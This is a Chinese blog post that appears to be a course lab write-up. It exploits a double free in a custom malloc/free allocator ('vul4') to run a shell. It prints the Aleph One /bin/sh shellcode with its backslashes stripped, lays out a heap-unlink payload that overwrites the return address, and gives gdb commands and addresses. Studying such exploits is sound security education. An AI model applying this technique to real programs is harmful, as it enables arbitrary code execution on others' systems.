• 缓冲区溢出实验 4 内存管理(类似于malloc free)


    实验环境、代码、及准备

     https://www.cnblogs.com/lqerio/p/12870834.html

    vul4

     

    观察foo函数,可见问题在于最后一次tfree(q)。由于之前已经tfree了q,现在相当于tfree一个不存在的空间,导致出错。

    再看自定义的函数

    CHUNK结构体占8个字节(前4个字节为左指针,后4个字节为右指针,分别指向前后的块位置)

    在块的r指针的低位部分存储块的状态,1为空闲,0为占用

    SET_FREEBIT()函数为将块设置为空闲块

    CLR_FREEBIT()函数为将块设置为占用块

    GET_FREEBIT()函数为查看块是否为空闲块

    RIGHT()函数为当块为空闲块时获取其r指针,即返回右节点

    CHUNKSIZE()函数为当前连续空闲块的大小

    TOCHUNK()函数为由指针返回CHUNK的头部

    FROMCHUNK()函数为由CHUNK返回指针位置

    ARENA_CHUNKS 为CHUNK的数目

    arena[]为 每个CHUNK的空间

    bot 为空间的底部

    top 为空间的顶部

    Init分配65536字节的chunk数组,bot是数组底部指针,top是数组顶部指针。

     

    Tmalloc分配空间,遍历chunk双链表,找到free且足够大的chunk分配。返回连续的chunk的头部。先找到一个足够大的连续chunk链,chunk链头部标志占用。然后如果chunk链大于需要的空间,在中间截断(选一个块然后标志空闲)。

     

    Tfree函数相当于先把左侧连续的占用的chunk free合并,再把右侧的free,合并。P代表了连续的空闲块的头部。

    shellcode(构造过程)

    原理是运行/bin/sh 来得到shell,构造过程是将具有运行/bin/sh的C代码转换成有相同功能的机器码。注意代码中用到  0  的地方改成用 xor  eax,eax,这样可以避免复制字符串时遇到/0 中断。

    下面的shellcode长度为45字节(不含/0)

     

    /*

     * Aleph One shellcode.

     */

    static const char shellcode[] =

      "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"

      "x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"

      "x80xe8xdcxffxffxff/bin/sh";

    exploit4

    先参考1.4中vul4的分析,

    看foo中流程,可知先是p从65536的起始位置(BOT)分配了512字节空间(注意自定义的分配函数  size = sizeof(CHUNK) * ((nbytes+sizeof(CHUNK)-1)/sizeof(CHUNK) + 1);),然后紧接着q分配312字节空间。然后tfree这两块。然后又从BOT分配1024给p。这样第二层分配给p的空间就覆盖第一次的p的空间。根据TOCHUNK(VP

    )函数可知他获得的是VP-8字节的内容。

    所以q的chunk结构(8字节)对应  obsd_strlcpy(p, arg, 1024);的504-512字节。

    利用tfree(p)的过程,将q的右节点设置为存放ret地址的地址,左节点设置为payload起始地址,这里设置为foo中p节点的地址(1024字节的起始位置)。

    此时因为刚刚分配了1024空间,foo中p节点的标志位为0(占用),需要通过payload修改为1(空闲),也就是payload的4-8字节(对应foo中p的reght指针)最低位修改为1.

    然后进入tfree第一个if,过程为

    q->s.r      = p->s.r;  // 设置foo中p的s.r为foo的存放ret的地址

    p->s.r->s.l = q;//将ret的地址的连续的8字节当做了chunk结构,恰好修改了ret地址位payload起始地址(foo中p的地址)

     

    此时可以写出第一个payload=40*nop+45shellcode+419*nop+payload地址(foo中p的地址)+存放ret的地址(ebp+4)+512*nop=1024字节。

    然后修改foo中p的right指针标志位为1标记空闲(*(int*)(payload+4)=-1))设置为111111111.

    然后遇到了问题,payload跳转到其他位置。Gdb查看payload,发现有call指令。

     

    然后修改为payload2

    只修改foo中p的right的最低一位为1,即00000001.然后加一个jmp指令向后跳,跳过可能的call指令。Jmp对应机器码xeb。注意jmp的机器码后需要有jmp的偏移量,可以设置为12。

     

    现在只需要获得foo中p的地址和存放ret的地址。存放ret的地址可以先print ebp然后+4就得到

    先按照上述格式填写payload,地址先随便填

    Gdb /tmp/vul4

    Disas foo

    得到最后一个tfree的地址 0x0804862e

    Gdb -e exploit4  -s  /tmp/vul4

    Catch exec

    R

    Break foo

    C

    Ni

    Break *0x804862e

    Print $ebp

    Print p

    所以payload中地址:

    P=0x804a068

    Ret的地址=0xbffffa5c+4=0xbffffa60

    运行结果

  • 相关阅读:
    java Udp协议简单的通讯
    java 简单装饰设计模式
    java 简单的拷贝文件夹
    java 简单的文件操作
    java 简单的进水放水
    java 洗牌 发牌
    less的在线安装
    移动端缩放设置
    less.js插件监听
    less使用
  • 原文地址:https://www.cnblogs.com/lqerio/p/12870959.html
Copyright © 2020-2023  润新知